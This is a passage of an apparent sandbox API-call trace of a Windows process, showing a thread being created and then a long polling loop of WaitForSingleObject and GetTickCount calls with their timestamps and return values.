hHeap=0x6e0000) returned 1 [0271.295] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0271.295] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eae8 | out: hHeap=0x6e0000) returned 1 [0271.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x727ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0271.295] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0272.225] GetTickCount () returned 0x1fd95 [0272.225] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0272.358] GetTickCount () returned 0x1fe21 [0272.358] GetTickCount () returned 0x1fe21 [0272.358] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0272.490] GetTickCount () returned 0x1fe9e [0272.490] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0272.668] GetTickCount () returned 0x1ff5a [0272.668] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0272.985] GetTickCount () returned 0x20092 [0272.985] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.163] GetTickCount () returned 0x2013e [0273.163] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.297] GetTickCount () returned 0x201cb [0273.297] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.402] GetTickCount () returned 0x20238 [0273.402] GetTickCount () returned 0x20238 [0273.402] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.510] GetTickCount () returned 0x202a6 [0273.510] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.620] GetTickCount () returned 0x20313 [0273.620] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.728] GetTickCount () returned 0x20380 [0273.728] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.838] GetTickCount () returned 0x203ee [0273.838] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0273.948] GetTickCount () returned 0x2045b [0273.948] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0274.056] GetTickCount () returned 0x204c8 [0274.056] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0274.166] GetTickCount () returned 0x20536 [0274.166] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0274.275] GetTickCount () returned 0x205a3 [0274.275] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0274.386] GetTickCount () returned 0x20611 [0274.386] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0274.527] GetTickCount () returned 0x2069d [0274.527] GetTickCount () returned 0x2069d [0274.527] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0275.413] GetTickCount () returned 0x20a08 [0275.413] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0275.610] GetTickCount () returned 0x20ad3 [0275.610] GetTickCount () returned 0x20ad3 [0275.610] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.045] GetTickCount () returned 0x20c89 [0276.045] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.263] GetTickCount () returned 0x20d64 [0276.263] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.423] GetTickCount () returned 0x20e00 [0276.423] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.554] GetTickCount () returned 0x20e7d [0276.554] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.654] GetTickCount () returned 0x20eea [0276.654] GetTickCount () returned 0x20eea [0276.654] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.763] GetTickCount () returned 0x20f58 [0276.764] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0276.922] GetTickCount () returned 0x20ff4 [0276.922] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0277.288] GetTickCount () returned 0x2115b [0277.288] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0277.399] GetTickCount () returned 0x211c9 [0277.399] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0277.515] GetTickCount () returned 0x21246 [0277.515] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0277.701] GetTickCount () returned 0x21301 [0277.701] GetTickCount () returned 0x21301 [0277.701] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0277.826] GetTickCount () returned 0x2137e [0277.826] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0277.986] GetTickCount () returned 0x2141a [0277.986] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0278.092] GetTickCount () returned 0x21488 [0278.092] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0278.215] GetTickCount () returned 0x214f5 [0278.215] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0278.732] GetTickCount () returned 0x21708 [0278.732] GetTickCount () returned 0x21708 [0278.732] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0279.000] GetTickCount () returned 0x21812 [0279.000] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0279.152] GetTickCount () returned 0x2189f [0279.152] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0279.321] GetTickCount () returned 0x2194a [0279.321] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0279.659] GetTickCount () returned 0x21aa2 [0279.659] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0279.936] GetTickCount () returned 0x21bbb [0279.936] GetTickCount () returned 0x21bbb [0279.936] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.182] GetTickCount () returned 0x21ca6 [0280.182] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.322] GetTickCount () returned 0x21d32 [0280.322] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.451] GetTickCount () returned 0x21dbf [0280.451] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.608] GetTickCount () returned 0x21e5b [0280.608] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.717] GetTickCount () returned 0x21ec9 [0280.717] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.826] GetTickCount () returned 0x21f36 [0280.826] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0280.935] GetTickCount () returned 0x21fa3 [0280.935] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0281.054] GetTickCount () returned 0x22020 [0281.054] GetTickCount () returned 0x22020 [0281.054] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0281.440] GetTickCount () returned 0x22197 [0281.440] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0281.539] GetTickCount () returned 0x22205 [0281.539] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0281.685] GetTickCount () returned 0x22291 [0281.685] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0281.860] GetTickCount () returned 0x2233d [0281.860] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0281.966] GetTickCount () returned 0x2239b [0281.966] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.185] GetTickCount () returned 0x22485 [0282.185] GetTickCount () returned 0x22485 [0282.185] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.294] GetTickCount () returned 0x224f3 [0282.294] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.405] GetTickCount () returned 0x22560 [0282.406] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.509] GetTickCount () returned 0x225ce [0282.509] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.618] GetTickCount () returned 0x2263b [0282.618] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.727] GetTickCount () returned 0x226a8 [0282.727] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0282.858] GetTickCount () returned 0x22725 [0282.858] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0283.318] GetTickCount () returned 0x228ea [0283.318] GetTickCount () returned 0x228ea [0283.318] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0283.451] GetTickCount () returned 0x22977 [0283.451] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0283.587] GetTickCount () returned 0x22a04 [0283.587] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0283.696] GetTickCount () returned 0x22a71 [0283.696] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0283.806] GetTickCount () returned 0x22ade [0283.806] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0283.931] GetTickCount () returned 0x22b5b [0283.931] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0284.847] GetTickCount () returned 0x22ee6 [0284.847] GetTickCount () returned 0x22ee6 [0284.847] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.008] GetTickCount () returned 0x22f82 [0285.008] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.119] GetTickCount () returned 0x22fff [0285.119] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.227] GetTickCount () returned 0x2306c [0285.227] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.355] GetTickCount () returned 0x230e9 [0285.355] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.462] GetTickCount () returned 0x23157 [0285.462] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.571] GetTickCount () returned 0x231c4 [0285.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.682] GetTickCount () returned 0x23231 [0285.682] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.790] GetTickCount () returned 0x2329f [0285.790] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0285.900] GetTickCount () returned 0x2330c [0285.900] GetTickCount () returned 0x2330c [0285.900] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0286.949] GetTickCount () returned 0x23723 [0286.949] GetTickCount () returned 0x23723 [0286.949] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0287.083] GetTickCount () returned 0x237b0 [0287.083] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0287.194] GetTickCount () returned 0x2381d [0287.194] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0287.301] GetTickCount () returned 0x2388a [0287.301] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0287.430] GetTickCount () returned 0x23907 [0287.430] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0287.627] GetTickCount () returned 0x239c3 [0287.627] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0288.168] GetTickCount () returned 0x23be6 [0288.168] GetTickCount () returned 0x23be6 [0288.168] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0288.380] GetTickCount () returned 0x23cc1 [0288.380] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0288.521] GetTickCount () returned 0x23d4d [0288.521] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0288.630] GetTickCount () returned 0x23dbb [0288.630] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0288.739] GetTickCount () returned 0x23e28 [0288.739] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0288.848] GetTickCount () returned 0x23e95 [0288.848] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.007] GetTickCount () returned 0x23f32 [0289.007] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.114] GetTickCount () returned 0x23f9f [0289.114] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.224] GetTickCount () returned 0x2400c [0289.224] GetTickCount () returned 0x2400c [0289.224] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.333] GetTickCount () returned 0x2407a [0289.333] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.443] GetTickCount () returned 0x240e7 [0289.443] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.552] GetTickCount () returned 0x24154 [0289.552] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.677] GetTickCount () returned 0x241d1 [0289.677] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.786] GetTickCount () returned 0x2423f [0289.786] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0289.895] GetTickCount () returned 0x242ac [0289.895] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.005] GetTickCount () returned 0x2431a [0290.005] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.114] GetTickCount () returned 0x24387 [0290.114] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.223] GetTickCount () returned 0x243f4 [0290.223] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.333] GetTickCount () returned 0x24462 [0290.333] GetTickCount () returned 0x24462 [0290.333] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.442] GetTickCount () returned 0x244cf [0290.442] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.557] GetTickCount () returned 0x2453c [0290.557] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.661] GetTickCount () returned 0x245aa [0290.661] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.771] GetTickCount () returned 0x24617 [0290.771] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0290.883] GetTickCount () returned 0x24685 [0290.883] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.083] GetTickCount () returned 0x24750 [0291.083] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.245] GetTickCount () returned 0x247ec [0291.245] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.350] GetTickCount () returned 0x24859 [0291.350] GetTickCount () returned 0x24859 [0291.350] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.467] GetTickCount () returned 0x248c7 [0291.467] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.567] GetTickCount () returned 0x24934 [0291.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.694] GetTickCount () returned 0x249b1 [0291.694] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.802] GetTickCount () returned 0x24a1e [0291.802] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0291.935] GetTickCount () returned 0x24a9b [0291.935] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.050] GetTickCount () returned 0x24b18 [0292.050] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.180] GetTickCount () returned 0x24b86 [0292.180] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.312] GetTickCount () returned 0x24c12 [0292.312] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.512] GetTickCount () returned 0x24cde [0292.512] GetTickCount () returned 0x24cde [0292.512] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.703] GetTickCount () returned 0x24d99 [0292.703] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.810] GetTickCount () returned 0x24e06 [0292.810] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0292.930] GetTickCount () returned 0x24e74 [0292.930] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.037] GetTickCount () returned 0x24ee1 [0293.037] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.140] GetTickCount () returned 0x24f4f [0293.140] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.245] GetTickCount () returned 0x24fbc [0293.245] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.543] GetTickCount () returned 0x250e5 [0293.543] GetTickCount () returned 0x250e5 [0293.543] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.679] GetTickCount () returned 0x25162 [0293.679] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.775] GetTickCount () returned 0x251cf [0293.775] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.884] GetTickCount () returned 0x2523d [0293.884] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0293.994] GetTickCount () returned 0x252aa [0293.994] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0294.123] GetTickCount () returned 0x25327 [0294.123] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0294.285] GetTickCount () returned 0x253c3 [0294.285] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0294.492] GetTickCount () returned 0x2548e [0294.492] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0294.587] GetTickCount () returned 0x254fc [0294.587] GetTickCount () returned 0x254fc [0294.587] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0294.701] GetTickCount () returned 0x25569 [0294.701] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0294.900] GetTickCount () returned 0x25634 [0294.900] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.009] GetTickCount () returned 0x256a2 [0295.009] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.223] GetTickCount () returned 0x2576d [0295.223] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.322] GetTickCount () returned 0x257da [0295.322] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.442] GetTickCount () returned 0x25847 [0295.442] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.554] GetTickCount () returned 0x258b5 [0295.554] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.650] GetTickCount () returned 0x25922 [0295.650] GetTickCount () returned 0x25922 [0295.650] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0295.855] GetTickCount () returned 0x259ed [0295.855] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0296.262] GetTickCount () returned 0x25b74 [0296.262] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0296.537] GetTickCount () returned 0x25c8d [0296.537] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0296.643] GetTickCount () returned 0x25cfb [0296.643] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0296.778] GetTickCount () returned 0x25d78 [0296.778] GetTickCount () returned 0x25d78 [0296.778] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0296.877] GetTickCount () returned 0x25de5 [0296.877] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.000] GetTickCount () returned 0x25e52 [0297.000] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.126] GetTickCount () returned 0x25ecf [0297.126] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.221] GetTickCount () returned 0x25f3d [0297.221] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.341] GetTickCount () returned 0x25faa [0297.341] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.505] GetTickCount () returned 0x26056 [0297.505] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.660] GetTickCount () returned 0x260f2 [0297.660] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.768] GetTickCount () returned 0x26160 [0297.768] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.877] GetTickCount () returned 0x261cd [0297.878] GetTickCount () returned 0x261cd [0297.878] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0297.987] GetTickCount () returned 0x2623a [0297.987] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.096] GetTickCount () returned 0x262a8 [0298.096] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.233] GetTickCount () returned 0x26325 [0298.233] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.356] GetTickCount () returned 0x263a2 [0298.356] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.509] GetTickCount () returned 0x2643e [0298.509] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.619] GetTickCount () returned 0x264ab [0298.619] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.773] GetTickCount () returned 0x26548 [0298.773] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0298.907] GetTickCount () returned 0x265c5 [0298.908] GetTickCount () returned 0x265c5 [0298.908] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.002] GetTickCount () returned 0x26632 [0299.002] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.111] GetTickCount () returned 0x2669f [0299.111] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.242] GetTickCount () returned 0x2671c [0299.242] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.346] GetTickCount () returned 0x2678a [0299.346] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.555] GetTickCount () returned 0x26855 [0299.555] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.675] GetTickCount () returned 0x268d2 [0299.675] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.794] GetTickCount () returned 0x2693f [0299.794] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0299.925] GetTickCount () returned 0x269cc [0299.925] GetTickCount () returned 0x269cc [0299.925] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.034] GetTickCount () returned 0x26a39 [0300.034] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.177] GetTickCount () returned 0x26ac6 [0300.177] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.283] GetTickCount () returned 0x26b33 [0300.283] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.393] GetTickCount () returned 0x26ba1 [0300.393] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.503] GetTickCount () returned 0x26c0e [0300.503] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.689] GetTickCount () returned 0x26cba [0300.689] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0300.872] GetTickCount () returned 0x26d75 [0300.872] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.061] GetTickCount () returned 0x26e31 [0301.061] GetTickCount () returned 0x26e31 [0301.061] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.159] GetTickCount () returned 0x26e9e [0301.159] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.269] GetTickCount () returned 0x26f0c [0301.269] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.386] GetTickCount () returned 0x26f79 [0301.386] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.498] GetTickCount () returned 0x26fe6 [0301.498] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.638] GetTickCount () returned 0x27073 [0301.638] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.758] GetTickCount () returned 0x270f0 [0301.758] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0301.891] GetTickCount () returned 0x2716d [0301.891] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.014] GetTickCount () returned 0x271fa [0302.014] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.128] GetTickCount () returned 0x27267 [0302.128] GetTickCount () returned 0x27267 [0302.128] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.249] GetTickCount () returned 0x272e4 [0302.249] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.420] GetTickCount () returned 0x27390 [0302.420] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.558] GetTickCount () returned 0x2740d [0302.558] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.693] GetTickCount () returned 0x27499 [0302.693] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.816] GetTickCount () returned 0x27516 [0302.816] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0302.966] GetTickCount () returned 0x275b3 [0302.966] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.078] GetTickCount () returned 0x27620 [0303.078] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.198] GetTickCount () returned 0x2769d [0303.198] GetTickCount () returned 0x2769d [0303.198] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.294] GetTickCount () returned 0x276fb [0303.294] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.411] GetTickCount () returned 0x27778 [0303.411] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.552] GetTickCount () returned 0x27804 [0303.552] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.651] GetTickCount () returned 0x27862 [0303.651] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.766] GetTickCount () returned 0x278d0 [0303.766] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.883] GetTickCount () returned 0x2794d [0303.883] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0303.992] GetTickCount () returned 0x279ba [0303.992] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.139] GetTickCount () returned 0x27a47 [0304.139] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0304.236] GetTickCount () returned 0x27aa4 [0304.236] GetTickCount () returned 0x27aa4 